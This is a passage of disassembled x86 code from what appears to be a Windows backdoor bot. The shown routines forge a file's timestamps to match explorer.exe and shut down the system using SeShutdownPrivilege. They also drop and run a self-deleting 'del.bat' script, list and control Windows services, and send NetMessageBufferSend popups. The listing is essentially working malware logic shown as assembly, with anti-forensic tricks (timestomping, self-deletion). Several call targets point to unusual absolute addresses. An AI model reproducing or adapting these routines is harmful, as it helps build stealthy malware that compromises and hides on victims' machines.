var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2810000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 28008ACh
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2710A4Eh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700000h
		push	edi
		call	near ptr 26708E6h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A059Eh
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26A04DCh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26A0381h

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2820000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2670C39h
		nop

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E0605h
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_438984

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_43895C
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43892C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E0605h
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0C66h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26C0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A03F6h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 26A0D63h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389A8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389A4[esi]
		push	offset unk_438AB8

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A8C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A0[eax*4]
		push	offset unk_438A68
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		call	near ptr 2690CE2h
		nop
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		call	near ptr 2690CE2h
		nop
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2690CE2h
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2690CE2h
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A0[eax*4]
		push	offset unk_43904C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A4[eax*4]
		push	offset dword_439030
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_43900C
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
